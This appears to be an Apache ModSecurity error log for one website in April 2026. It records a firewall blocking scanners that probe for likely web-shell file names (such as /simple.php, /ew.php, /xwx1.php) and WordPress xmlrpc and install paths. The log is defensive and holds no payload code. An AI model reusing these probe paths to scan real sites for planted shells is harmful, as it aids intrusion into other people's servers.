[Fri Apr 17 01:43:07.615295 2026] [:error] [pid 43387:tid 43457] [client 172.213.224.11:49908] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aeEfqyBNsONqHxWTakU_ggAAAIY"]
[Fri Apr 17 01:43:08.109511 2026] [:error] [pid 11854:tid 11868] [client 172.213.224.11:28157] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aeEfrNxJCSIaqP1XSdacmgAAAks"]
[Fri Apr 17 01:43:08.648052 2026] [:error] [pid 26480:tid 26496] [client 172.213.224.11:17754] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aeEfrAwLDJKTQNfarA1_PwAAAc4"]
[Fri Apr 17 01:43:09.164417 2026] [:error] [pid 43482:tid 43486] [client 172.213.224.11:17782] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aeEfrT9SZnuKxlHrct2mGQAAAMI"]
[Fri Apr 17 01:43:09.682501 2026] [:error] [pid 26102:tid 26115] [client 172.213.224.11:27884] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aeEfrf127aFqw6ALdngZ7QAAAYo"]
[Fri Apr 17 01:43:10.162966 2026] [:error] [pid 43385:tid 43404] [client 172.213.224.11:17743] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aeEfrsnIxkJaUI8KNs4n7gAAAA8"]
[Fri Apr 17 01:43:10.687647 2026] [:error] [pid 43385:tid 43395] [client 172.213.224.11:28127] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aeEfrsnIxkJaUI8KNs4n7wAAAAY"]
[Fri Apr 17 01:43:11.226305 2026] [:error] [pid 11854:tid 11862] [client 172.213.224.11:19461] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aeEfr9xJCSIaqP1XSdacnwAAAkU"]
[Fri Apr 17 01:43:11.738148 2026] [:error] [pid 11854:tid 11864] [client 172.213.224.11:27881] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aeEfr9xJCSIaqP1XSdacogAAAkc"]
[Fri Apr 17 01:43:12.453054 2026] [:error] [pid 26102:tid 26106] [client 172.213.224.11:49612] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aeEfsP127aFqw6ALdngZ9AAAAYE"]
[Fri Apr 17 01:43:13.013918 2026] [:error] [pid 43386:tid 43422] [client 172.213.224.11:27587] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "aeEfse91GAVgUfhPVDHNgQAAAEI"]
[Fri Apr 17 01:43:13.537893 2026] [:error] [pid 43386:tid 43439] [client 172.213.224.11:27886] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "aeEfse91GAVgUfhPVDHNgwAAAFM"]
[Fri Apr 17 01:43:14.159215 2026] [:error] [pid 43386:tid 43445] [client 172.213.224.11:27631] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "aeEfsu91GAVgUfhPVDHNiAAAAFg"]
[Fri Apr 17 01:43:14.788705 2026] [:error] [pid 43385:tid 43397] [client 172.213.224.11:49648] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "aeEfssnIxkJaUI8KNs4n8QAAAAg"]
[Fri Apr 17 01:43:15.402061 2026] [:error] [pid 11854:tid 11861] [client 172.213.224.11:41241] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aeEfs9xJCSIaqP1XSdacrQAAAkQ"]
[Fri Apr 17 01:43:15.912298 2026] [:error] [pid 11854:tid 11872] [client 172.213.224.11:28108] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aeEfs9xJCSIaqP1XSdacrgAAAk8"]
[Fri Apr 17 01:43:16.425990 2026] [:error] [pid 43482:tid 43489] [client 172.213.224.11:49609] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aeEftD9SZnuKxlHrct2mHAAAAMU"]
[Fri Apr 17 01:43:16.961513 2026] [:error] [pid 4086:tid 4092] [client 172.213.224.11:19473] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aeEftFlz7gxl_exM0FpKyQAAAUQ"]
[Fri Apr 17 01:43:17.454595 2026] [:error] [pid 11854:tid 11881] [client 172.213.224.11:49623] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aeEftdxJCSIaqP1XSdacsQAAAlg"]
[Fri Apr 17 01:43:18.021060 2026] [:error] [pid 11854:tid 11862] [client 172.213.224.11:14706] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aeEfttxJCSIaqP1XSdactAAAAkU"]
[Fri Apr 17 01:43:18.508907 2026] [:error] [pid 11854:tid 11876] [client 172.213.224.11:27638] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aeEfttxJCSIaqP1XSdacuQAAAlM"]
[Fri Apr 17 01:43:19.056478 2026] [:error] [pid 4086:tid 4104] [client 172.213.224.11:27604] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aeEft1lz7gxl_exM0FpKzQAAAVA"]
[Fri Apr 17 01:43:19.619519 2026] [:error] [pid 26102:tid 26124] [client 172.213.224.11:27631] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "aeEft_127aFqw6ALdngZ-wAAAZM"]
[Fri Apr 17 01:43:20.126434 2026] [:error] [pid 26102:tid 26122] [client 172.213.224.11:27622] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "aeEfuP127aFqw6ALdngZ_QAAAZE"]
[Fri Apr 17 01:43:20.692115 2026] [:error] [pid 43482:tid 43496] [client 172.213.224.11:17756] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "aeEfuD9SZnuKxlHrct2mIAAAAMw"]
[Fri Apr 17 01:43:21.316477 2026] [:error] [pid 11854:tid 11877] [client 172.213.224.11:14643] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "aeEfudxJCSIaqP1XSdacvAAAAlQ"]
[Fri Apr 17 01:43:21.925154 2026] [:error] [pid 3245:tid 3285] [client 172.213.224.11:17767] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "aeEfuaESOMTHVLs-uFDY8AAAARc"]
[Fri Apr 17 01:43:22.571449 2026] [:error] [pid 26480:tid 26497] [client 172.213.224.11:17760] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "aeEfugwLDJKTQNfarA1_QgAAAc8"]
[Fri Apr 17 01:43:23.086616 2026] [:error] [pid 4086:tid 4101] [client 172.213.224.11:17768] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "aeEfu1lz7gxl_exM0FpK0wAAAU0"]
[Fri Apr 17 01:43:23.593391 2026] [:error] [pid 11854:tid 11876] [client 172.213.224.11:41225] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "aeEfu9xJCSIaqP1XSdacwwAAAlM"]
[Fri Apr 17 01:43:24.458830 2026] [:error] [pid 11854:tid 11870] [client 172.213.224.11:27842] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeEfvNxJCSIaqP1XSdacxQAAAk0"]
[Fri Apr 17 01:43:25.019958 2026] [:error] [pid 4086:tid 4094] [client 172.213.224.11:19464] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeEfvVlz7gxl_exM0FpK1AAAAUY"]
[Fri Apr 17 01:43:25.616496 2026] [:error] [pid 26102:tid 26123] [client 172.213.224.11:14662] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeEfvf127aFqw6ALdngaAgAAAZI"]
[Fri Apr 17 01:43:26.227873 2026] [:error] [pid 43482:tid 43508] [client 172.213.224.11:19475] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeEfvj9SZnuKxlHrct2mJAAAANg"]
[Fri Apr 17 01:43:26.743116 2026] [:error] [pid 11854:tid 11872] [client 172.213.224.11:27086] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "aeEfvtxJCSIaqP1XSdaczAAAAk8"]
[Fri Apr 17 01:43:27.521046 2026] [:error] [pid 43482:tid 43498] [client 172.213.224.11:27110] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "aeEfvz9SZnuKxlHrct2mLAAAAM4"]
[Fri Apr 17 01:43:28.096735 2026] [:error] [pid 43482:tid 43487] [client 172.213.224.11:27128] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "aeEfwD9SZnuKxlHrct2mMQAAAMM"]
[Fri Apr 17 01:43:28.602594 2026] [:error] [pid 3245:tid 3263] [client 172.213.224.11:49890] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "aeEfwKESOMTHVLs-uFDY9gAAAQE"]
[Fri Apr 17 01:43:29.083162 2026] [:error] [pid 43385:tid 43398] [client 172.213.224.11:17785] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeEfwcnIxkJaUI8KNs4n9wAAAAk"]
[Fri Apr 17 01:43:29.580417 2026] [:error] [pid 26102:tid 26116] [client 172.213.224.11:27091] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeEfwf127aFqw6ALdngaBgAAAYs"]
[Fri Apr 17 01:43:30.120457 2026] [:error] [pid 26102:tid 26108] [client 172.213.224.11:49897] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeEfwv127aFqw6ALdngaCgAAAYM"]
[Fri Apr 17 01:43:30.763807 2026] [:error] [pid 26102:tid 26126] [client 172.213.224.11:49868] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeEfwv127aFqw6ALdngaDgAAAZU"]
[Fri Apr 17 01:43:31.388034 2026] [:error] [pid 3245:tid 3273] [client 172.213.224.11:19481] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeEfw6ESOMTHVLs-uFDY-AAAAQs"]
[Fri Apr 17 01:43:31.966278 2026] [:error] [pid 11854:tid 11864] [client 172.213.224.11:27083] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeEfw9xJCSIaqP1XSdaczgAAAkc"]
[Fri Apr 17 01:43:32.530170 2026] [:error] [pid 26480:tid 26489] [client 172.213.224.11:14644] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeEfxAwLDJKTQNfarA1_SwAAAcc"]
[Fri Apr 17 01:43:33.259455 2026] [:error] [pid 43385:tid 43389] [client 172.213.224.11:19518] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeEfxcnIxkJaUI8KNs4oDAAAAAA"]
[Fri Apr 17 01:57:34.620630 2026] [:error] [pid 43385:tid 43413] [client 34.82.192.37:63270] [client 34.82.192.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.82.192.37, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeEjDsnIxkJaUI8KNs4rcwAAABc"]
[Fri Apr 17 01:57:34.623968 2026] [:error] [pid 43385:tid 43413] [client 34.82.192.37:63270] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri Apr 17 01:57:34.800560 2026] [:error] [pid 43385:tid 43395] [client 34.82.192.37:63270] [client 34.82.192.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aeEjDsnIxkJaUI8KNs4rdAAAAAY"]
[Fri Apr 17 03:09:49.148669 2026] [:error] [pid 43387:tid 43454] [client 136.107.233.88:64028] [client 136.107.233.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.233.88, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeEz_SBNsONqHxWTakVj9QAAAIQ"]
[Fri Apr 17 03:09:49.151720 2026] [:error] [pid 43387:tid 43454] [client 136.107.233.88:64028] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri Apr 17 03:09:49.903850 2026] [:error] [pid 43387:tid 43460] [client 136.107.233.88:64028] [client 136.107.233.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeEz_SBNsONqHxWTakVkAwAAAIk"]
[Fri Apr 17 03:09:52.161277 2026] [:error] [pid 43386:tid 43420] [client 136.107.233.88:63960] [client 136.107.233.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aeE0AO91GAVgUfhPVDH1AQAAAEA"]
[Fri Apr 17 04:04:41.570675 2026] [:error] [pid 9151:tid 9176] [client 209.38.89.62:36714] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-admin/install.php"] [unique_id "aeFA2chTVuRPkua22vRjvQAAAA8"]
[Fri Apr 17 04:04:41.824853 2026] [:error] [pid 9152:tid 9197] [client 209.38.89.62:36730] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/wp-admin/install.php"] [unique_id "aeFA2ZJYca8I3TNCwIfO-gAAAEc"]
[Fri Apr 17 04:04:41.882986 2026] [:error] [pid 9153:tid 9219] [client 209.38.89.62:36734] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-admin/install.php"] [unique_id "aeFA2eMHGxkTZX3c45evPwAAAIE"]
[Fri Apr 17 04:04:41.980080 2026] [:error] [pid 9151:tid 9166] [client 209.38.89.62:36742] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/wp-admin/install.php"] [unique_id "aeFA2chTVuRPkua22vRjvwAAAAU"]
